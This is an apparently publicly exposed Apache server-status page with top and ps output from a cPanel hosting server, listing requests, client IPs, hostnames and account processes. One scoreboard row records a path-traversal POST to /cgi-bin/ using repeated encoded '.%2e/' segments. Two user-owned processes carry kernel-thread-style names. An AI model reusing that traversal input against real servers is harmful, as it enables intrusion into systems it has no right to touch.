   1-0  29807 1/239/1648 K 5.46 3     398 853783   31.2  5.75  41.60 66.249.70.199  http/1.1 schoolplus.cloudware.ng:80 GET /?p=1131013677 HTTP/1.1
   2-0  -     0/0/1473   . 0.00 32    0   891033   0.0   0.00  44.88 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   3-0  43199 0/21/1486  _ 0.50 0     4   872765   0.0   0.49  41.30 23.21.119.232  http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php/2019elections/2019elections/imag
   4-0  32584 0/242/1598 _ 6.23 0     370 912008   0.0   6.34  45.52 66.249.70.192  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3374614422 HTTP/1.1
   5-0  -     0/0/1573   . 0.00 20    0   839196   0.0   0.00  41.88 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   6-0  -     0/0/1512   . 0.00 21    0   854515   0.0   0.00  44.84 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   7-0  42298 0/34/1561  W 0.76 0     0   921548   0.0   0.57  45.60 ::1            http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   8-0  31648 1/296/1513 K 7.58 1     404 903957   30.7  8.62  43.33 66.249.70.197  http/1.1 schoolplus.cloudware.ng:80 GET /?p=541199153 HTTP/1.1
   9-0  26963 0/300/1438 _ 7.02 0     9   849013   0.0   7.35  40.66 217.113.194.20 http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php?state=Benue&lga=Gwer%20east&ward
   10-0 31830 4/245/1541 K 5.80 1     344 827371   122.6 6.50  42.22 66.249.70.197  http/1.1 schoolplus.cloudware.ng:80 GET /?p=606557943 HTTP/1.1
   11-0 40396 0/86/1415  _ 1.95 0     0   822026   0.0   2.13  40.86 ::1            http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   12-0 43440 4/18/1333  K 0.44 3     346 824854   120.7 0.49  37.91 66.249.70.194  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3728937139 HTTP/1.1
   13-0 39681 1/97/1401  K 2.01 0     435 860723   34.1  3.13  44.08 66.249.70.38   http/1.1 support.cloudware.ng:443   GET /?c=1438060951 HTTP/1.1
   14-0 38044 1/151/1350 K 3.65 4     294 770845   31.1  3.72  36.71 66.249.70.195  http/1.1 schoolplus.cloudware.ng:80 GET /?p=2330212945 HTTP/1.1
   15-0 -     0/0/1279   . 0.00 22    0   775479   0.0   0.00  37.32 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   16-0 39689 0/89/1263  _ 1.88 0     357 718262   0.0   3.18  43.13 66.249.70.195  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3365804677 HTTP/1.1
   17-0 43520 1/6/1340   K 0.11 1     358 689410   35.2  0.17  33.74 66.249.70.32   http/1.1 support.cloudware.ng:443   GET /ctg/search/similarImageSearchResultView/?ctgItemCd=1665145
   18-0 -     0/0/1142   . 0.00 1236  0   689467   0.0   0.00  34.41 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   19-0 -     0/0/1202   . 0.00 990   0   719876   0.0   0.00  33.52 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   20-0 -     0/0/1097   . 0.00 1199  0   639107   0.0   0.00  32.59 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   21-0 -     0/0/1368   . 0.00 1240  0   704438   0.0   0.00  35.42 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   22-0 -     0/0/1059   . 0.00 959   0   604441   0.0   0.00  28.71 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   23-0 -     0/0/1288   . 0.00 1243  0   654373   0.0   0.00  32.17 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   24-0 -     0/0/1182   . 0.00 1228  0   651796   0.0   0.00  30.83 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   25-0 -     0/0/1085   . 0.00 944   0   645057   0.0   0.00  31.92 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   26-0 -     0/0/1001   . 0.00 1239  0   601971   0.0   0.00  27.95 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   27-0 25405 0/343/1386 _ 8.80 0     1   817896   0.0   15.98 47.43 139.224.135.60 http/1.1 nescrow.com.ng:443         POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e
   28-0 -     0/0/1032   . 0.00 1222  0   614033   0.0   0.00  29.02 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   29-0 -     0/0/1198   . 0.00 1224  0   664123   0.0   0.00  32.29 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   30-0 -     0/0/1164   . 0.00 785   0   682920   0.0   0.00  33.71 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   31-0 -     0/0/1066   . 0.00 1220  0   647519   0.0   0.00  30.23 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   32-0 -     0/0/1091   . 0.00 1197  0   639524   0.0   0.00  34.98 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   33-0 -     0/0/1061   . 0.00 1232  0   647835   0.0   0.00  33.23 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   34-0 -     0/0/1054   . 0.00 1099  0   44054975 0.0   0.00  31.11 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   35-0 -     0/0/1050   . 0.00 1223  0   44048817 0.0   0.00  33.51 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   36-0 23986 1/351/1333 K 8.96 0     408 777282   31.3  8.95  50.43 66.249.70.192  http/1.1 schoolplus.cloudware.ng:80 GET /?p=2895321428 HTTP/1.1
   37-0 -     0/0/1035   . 0.00 1230  0   613101   0.0   0.00  27.80 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   38-0 -     0/0/1139   . 0.00 1234  0   641323   0.0   0.00  31.50 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   39-0 -     0/0/1078   . 0.00 845   0   596911   0.0   0.00  30.04 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   40-0 -     0/0/1118   . 0.00 971   0   673903   0.0   0.00  33.44 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   41-0 -     0/0/1128   . 0.00 848   0   44087898 0.0   0.00  35.14 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   42-0 -     0/0/935    . 0.00 1226  0   558327   0.0   0.00  27.99 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   43-0 -     0/0/869    . 0.00 1229  0   528738   0.0   0.00  25.09 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   44-0 -     0/0/789    . 0.00 1242  0   473771   0.0   0.00  23.90 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   45-0 -     0/0/768    . 0.00 1304  0   447456   0.0   0.00  20.77 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   46-0 -     0/0/599    . 0.00 1393  0   354846   0.0   0.00  18.31 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   47-0 -     0/0/628    . 0.00 1382  0   43813947 0.0   0.00  18.51 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   48-0 -     0/0/393    . 0.00 1359  0   226016   0.0   0.00  14.84 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   49-0 -     0/0/473    . 0.00 1384  0   281050   0.0   0.00  14.38 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   50-0 -     0/0/264    . 0.00 1360  0   148814   0.0   0.00  10.16 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   51-0 -     0/0/411    . 0.00 1302  0   218629   0.0   0.00  10.14 ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   52-0 -     0/0/81     . 0.00 1396  0   46259    0.0   0.00  2.13  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   53-0 -     0/0/152    . 0.00 1231  0   85102    0.0   0.00  4.04  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   54-0 -     0/0/195    . 0.00 1258  0   107331   0.0   0.00  9.08  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   55-0 -     0/0/87     . 0.00 1292  0   53441    0.0   0.00  2.45  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   56-0 -     0/0/51     . 0.00 1297  0   27748    0.0   0.00  1.37  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   57-0 24141 3/349/426  W 8.46 0     0   239574   91.3  8.80  11.33 66.249.70.196  http/1.1 schoolplus.cloudware.ng:80 GET /?p=509965875 HTTP/1.1
   58-0 -     0/0/16     . 0.00 1379  0   8830     0.0   0.00  0.39  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   59-0 -     0/0/89     . 0.00 1235  0   50642    0.0   0.00  2.42  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   60-0 -     0/0/13     . 0.00 1353  0   7189     0.0   0.00  0.50  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   61-0 -     0/0/116    . 0.00 1398  0   68785    0.0   0.00  3.23  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   62-0 -     0/0/9      . 0.00 26907 0   4692     0.0   0.00  0.21  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   63-0 -     0/0/40     . 0.00 26787 0   22777    0.0   0.00  1.24  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   64-0 -     0/0/1      . 0.00 26958 0   0        0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   65-0 -     0/0/93     . 0.00 26633 0   41234    0.0   0.00  3.19  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   66-0 -     0/0/30     . 0.00 26800 0   18445    0.0   0.00  0.78  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   67-0 -     0/0/2      . 0.00 26950 0   507      0.0   0.00  0.03  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   68-0 -     0/0/33     . 0.00 26794 0   17684    0.0   0.00  0.84  ::1            http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 390
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 26 seconds, (range: 1...103)
   index usage: 6%, cache usage: 9%
   total entries stored since starting: 9676
   total entries replaced since starting: 0
   total entries expired since starting: 9281
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 0 hit, 31 miss
   total removes since starting: 5 hit, 0 miss
 ## swap threshold exceeded
## server overview
2025-11-13.11.27 load[0] mem[68/49] mysql[1/11] httpd[17]
              total        used        free      shared  buff/cache   available
Mem:           2363        1567         123          30         672         607
Swap:          1999        1072         927
 11:27:01 up  1:10,  0 users,  load average: 0.09, 0.21, 0.35
## system overview
top - 11:27:02 up  1:10,  0 users,  load average: 0.09, 0.21, 0.35
Tasks: 190 total,   3 running, 186 sleeping,   0 stopped,   1 zombie
%Cpu(s): 47.4 us, 23.7 sy,  0.0 ni, 26.3 id,  2.6 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,   125632 free,  1604836 used,   689832 buff/cache
KiB Swap:  2047996 total,   949500 free,  1098496 used.   622112 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1731 mysql     20   0 1458596 240188   3752 S  63.2  9.9   1:02.14 /usr/sbin+
 53450 nigeria   20   0  400652  15940  10220 R  10.5  0.7   0:00.03 /opt/cpan+
     1 root      20   0   44424   3492   1572 S   5.3  0.1   0:06.68 /usr/lib/+
   409 root      16  -4   55532    284    160 S   5.3  0.0   0:00.39 /sbin/aud+
   488 dbus      20   0   58716   1428    736 S   5.3  0.1   0:02.23 /usr/bin/+
   520 root      20   0   24712   1304    892 S   5.3  0.1   0:01.00 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.29 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.17 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:04.34 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.01 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.01 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.16 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:00.78 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:09.21 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.00 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    48 root      20   0       0      0      0 S   0.0  0.0   0:00.22 [kworker/+
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   104 root      20   0       0      0      0 S   0.0  0.0   0:00.09 [kauditd]
   240 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   249 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   250 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   255 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   261 root       0 -20       0      0      0 S   0.0  0.0   0:00.75 [kworker/+
   266 root       0 -20       0      0      0 S   0.0  0.0   0:00.92 [kworker/+
   277 root      20   0       0      0      0 S   0.0  0.0   0:00.21 [jbd2/vda+
   278 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   358 root      20   0   39500   6788   6476 S   0.0  0.3   0:02.50 /usr/lib/+
   379 root      20   0   45352    488    344 S   0.0  0.0   0:00.35 /usr/lib/+
   413 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   415 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   512 rpc       20   0   69256    172     64 S   0.0  0.0   0:00.01 /sbin/rpc+
   518 root      20   0  152780    300    256 S   0.0  0.0   0:00.00 /usr/sbin+
   521 root      20   0  224148   6624   1052 S   0.0  0.3   0:00.12 queueproc+
   524 root      20   0   21540    496    384 S   0.0  0.0   0:00.09 /usr/sbin+
   525 polkitd   20   0  612240   1080    712 S   0.0  0.0   0:00.60 /usr/lib/+
   533 root      20   0   52852    400    328 S   0.0  0.0   0:00.01 /usr/sbin+
   535 nscd      20   0  928956   1500    784 S   0.0  0.1   0:02.89 /usr/sbin+
   540 root      20   0    4388    232    228 S   0.0  0.0   0:00.00 /usr/sbin+
   542 root      20   0  195208    132    132 S   0.0  0.0   0:00.00 /usr/sbin+
   571 root      20   0  124480    560    428 S   0.0  0.0   0:00.12 /usr/sbin+
   574 root      20   0   24208     64     64 S   0.0  0.0   0:00.00 /usr/sbin+
   577 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   585 root      20   0  108296    248    244 S   0.0  0.0   0:00.00 /sbin/age+
   586 root      20   0  114704    280    280 S   0.0  0.0   0:00.02 /bin/bash
   615 mailnull  20   0   89112   4012    992 S   0.0  0.2   0:00.11 /usr/sbin+
   677 root       0 -20       0      0      0 S   0.0  0.0   0:02.48 [loop0]
   714 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [jbd2/loo+
   717 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   925 root      20   0 1763044 542660    840 S   0.0 22.4   0:13.77 /usr/loca+
   931 named     20   0  711724  30416   1944 S   0.0  1.3   0:02.87 /usr/sbin+
   933 root      20   0  445028   2804   2804 S   0.0  0.1   0:00.06 sw-engine+
   938 root      20   0  436392  11316  11228 S   0.0  0.5   0:00.24 php-fpm: +
   940 root      20   0  385496    776    560 S   0.0  0.0   0:00.19 php-fpm: +
   941 systuser  20   0  114016  13508   2412 S   0.0  0.6   0:01.16 /usr/loca+
   945 cpanelc+  20   0   10076   3028   2344 S   0.0  0.1   0:03.39 /usr/loca+
   946 root      20   0  392856    832    656 S   0.0  0.0   0:00.17 php-fpm: +
   948 memcach+  20   0  342400    204    204 S   0.0  0.0   0:00.08 /usr/bin/+
   950 systuser  20   0   10132     48      0 S   0.0  0.0   0:00.00 /usr/loca+
   952 systuser  20   0  112524   2088      0 S   0.0  0.1   0:00.00 /usr/loca+
   957 systuser  20   0   14068     44      0 S   0.0  0.0   0:00.00 /usr/loca+
   959 root      20   0  397344   3120    740 S   0.0  0.1   0:00.70 php-fpm: +
   960 root      20   0  153404    476    396 S   0.0  0.0   0:00.09 pure-ftpd+
   963 systuser  20   0  111608   1600      0 S   0.0  0.1   0:00.00 /usr/loca+
   988 root      20   0  386112    764    556 S   0.0  0.0   0:00.17 php-fpm: +
   989 root      20   0  261164   6988   1992 S   0.0  0.3   0:01.40 cpsrvd (S+
   990 root      20   0  572372   1020    444 S   0.0  0.0   0:00.46 /usr/bin/+
   991 telegraf  20   0 5654048  38792   5936 S   0.0  1.6   0:02.58 /usr/loca+
   998 root      20   0  111304    616    516 S   0.0  0.0   0:00.54 /usr/sbin+
  1000 root      20   0  224592   6100   5544 S   0.0  0.3   0:01.17 /usr/sbin+
  1001 root      20   0   51508    672    512 S   0.0  0.0   0:00.08 /usr/sbin+
  1125 dovenull  20   0   47048   2708   2004 S   0.0  0.1   0:00.09 dovecot/p+
  1126 dovenull  20   0   47588   3452   2280 S   0.0  0.1   0:00.06 dovecot/i+
  1127 dovecot   20   0   10320    452    336 S   0.0  0.0   0:00.01 dovecot/a+
  1128 root      20   0   10452    580    392 S   0.0  0.0   0:00.05 dovecot/l+
  1129 dovenull  20   0   47052   2532   1920 S   0.0  0.1   0:00.07 dovecot/p+
  1130 dovenull  20   0   47292   3160   2224 S   0.0  0.1   0:00.03 dovecot/i+
  1133 root      20   0   24556   2448    592 S   0.0  0.1   0:00.04 dovecot/c+
  1137 dovecot   20   0   13568    548    328 S   0.0  0.0   0:00.00 dovecot/s+
  1147 root      20   0  248176 119668   2920 S   0.0  4.9   0:03.37 /usr/loca+
  1164 systuser  20   0  157708   2948    952 S   0.0  0.1   0:00.03 SonarPush+
  1165 wp-tool+  20   0  410452  36976   1876 S   0.0  1.5   0:03.69 /usr/bin/+
  1166 wp-tool+  20   0  387528  13196   1616 S   0.0  0.5   0:00.13 /usr/bin/+
  1208 dovecot   20   0   41056   1536   1100 S   0.0  0.1   0:00.10 dovecot/a+
  1236 root      20   0  183900   6448   3216 S   0.0  0.3   0:00.28 cpdavd - +
  1239 root      20   0  209296  11996   2292 S   0.0  0.5   0:00.61 tailwatchd
  1241 root      20   0  167452   1524    920 S   0.0  0.1   0:00.11 dnsadmin +
  1631 root      20   0  299272   1016    636 S   0.0  0.0   0:00.11 php-fpm: +
  1677 root      38  18  130416   1472    748 S   0.0  0.1   0:00.01 cpanellog+
  1979 root      20   0  267036   8032    916 S   0.0  0.3   0:00.88 /usr/sbin+
  1980 root      20   0  181360  10036   1240 S   0.0  0.4   0:03.58 lfd - sle+
  1981 root      20   0   12804    524    412 S   0.0  0.0   0:00.44 /usr/loca+
  1982 root      20   0   12732    444    364 S   0.0  0.0   0:00.37 /usr/loca+
  1983 root      20   0   12816    488    368 S   0.0  0.0   0:00.42 /usr/loca+
  1986 root      20   0   53268    268    268 S   0.0  0.0   0:00.04 /usr/loca+
  5511 root      20   0  267032 133364   2692 S   0.0  5.5   0:01.86 spamd chi+
  5512 root      20   0  261652 126864   1492 S   0.0  5.2   0:00.36 spamd chi+
 24213 root      20   0       0      0      0 S   0.0  0.0   0:00.06 [kworker/+
 34743 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
 34754 oysipao+  20   0    3152    424      0 S   0.0  0.0   0:00.03 [kworker]
 35038 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 35191 root      20   0 1276356  11264    596 S   0.0  0.5   0:00.07 /usr/bin/+
 35233 root      20   0 1277312  12240    560 S   0.0  0.5   0:00.07 /usr/bin/+
 36075 worencom  20   0   38492   3260   2300 S   0.0  0.1   0:00.00 dovecot/i+
 40839 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 43121 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
 44398 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 46725 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 48005 nobody    20   0  277752  18888   3956 S   0.0  0.8   0:00.63 /usr/sbin+
 48355 nobody    20   0  277940  19120   4028 S   0.0  0.8   0:00.66 /usr/sbin+
 48713 nobody    20   0  277652  19336   4284 S   0.0  0.8   0:00.58 /usr/sbin+
 48752 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 48770 nobody    20   0  277844  19012   3980 S   0.0  0.8   0:00.56 /usr/sbin+
 49447 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 49578 nobody    20   0  277564  18792   3920 S   0.0  0.8   0:00.45 /usr/sbin+
 49592 nobody    20   0  277816  19148   4084 S   0.0  0.8   0:00.44 /usr/sbin+
 50157 nobody    20   0  277720  18972   3896 S   0.0  0.8   0:00.30 /usr/sbin+
 50213 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 50300 nobody    20   0  277784  19224   4028 S   0.0  0.8   0:00.38 /usr/sbin+
 50664 nobody    20   0  277568  18408   3724 S   0.0  0.8   0:00.34 /usr/sbin+
 50830 nobody    20   0  277940  18716   3768 S   0.0  0.8   0:00.34 /usr/sbin+
 50948 nobody    20   0  277956  18864   3788 S   0.0  0.8   0:00.26 /usr/sbin+
 50954 nobody    20   0  277944  19104   4088 S   0.0  0.8   0:00.29 /usr/sbin+
 51048 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 52071 nobody    20   0  277784  18656   3696 S   0.0  0.8   0:00.16 /usr/sbin+
 52810 nobody    20   0  277932  18412   3612 S   0.0  0.8   0:00.08 /usr/sbin+
 52811 nobody    20   0  277816  18428   3604 S   0.0  0.8   0:00.07 /usr/sbin+
 53009 nobody    20   0  277916  18100   3372 S   0.0  0.7   0:00.04 /usr/sbin+
 53035 nobody    20   0  277504  17820   3220 S   0.0  0.7   0:00.03 /usr/sbin+
 53113 root      20   0   41052   2784   2124 S   0.0  0.1   0:00.00 dovecot/a+
 53253 nobody    20   0  277780  17900   3304 S   0.0  0.7   0:00.00 /usr/sbin+
 53300 nigeria   20   0  397064   5580   2368 S   0.0  0.2   0:00.00 php-fpm: +
 53349 root      20   0  157100   5076   3788 S   0.0  0.2   0:00.00 sshd: unk+
 53350 sshd      20   0  115644   2632   1564 S   0.0  0.1   0:00.00 sshd: unk+
 53366 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 53381 root      20   0  183048   2144   1580 S   0.0  0.1   0:00.00 /usr/sbin+
 53384 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53385 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53386 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53387 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53388 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53389 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53390 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53391 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53393 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53395 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 53396 root      20   0  108052    360    284 S   0.0  0.0   0:00.00 /usr/bin/+
 53397 root      20   0  113288   1516   1300 S   0.0  0.1   0:00.00 /bin/bash+
 53417 root      20   0   20164    968    764 S   0.0  0.0   0:00.00 jailshell+
 53419 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 53420 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53421 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53422 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 53424 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53425 root      20   0   20164    984    784 S   0.0  0.0   0:00.00 jailshell+
 53427 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 53428 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53438 pactpay   20   0   20164    264      0 S   0.0  0.0   0:00.00 jailshell+
 53444 pactpay   20   0  476724  17484  11728 S   0.0  0.7   0:00.01 /opt/cpan+
 53449 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 53452 root      20   0  160220   2068   1580 R   0.0  0.1   0:00.00 top -bcn1
 53457 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 53463 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 53464 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 53465 cloudsms  20   0  131852   3320   2384 R   0.0  0.1   0:00.00 /usr/loca+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    10:16   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        S    10:16   0:04  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [watchdog/0]
